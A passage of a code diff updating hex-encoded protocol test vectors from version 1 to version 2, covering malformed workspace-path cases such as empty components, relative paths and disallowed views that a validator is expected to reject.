"574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-empty-component", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-relative", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-view-not-allowed", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-folders-without-name", "direction": "down", - "hex": "574d58310101000001000000330600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000700600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d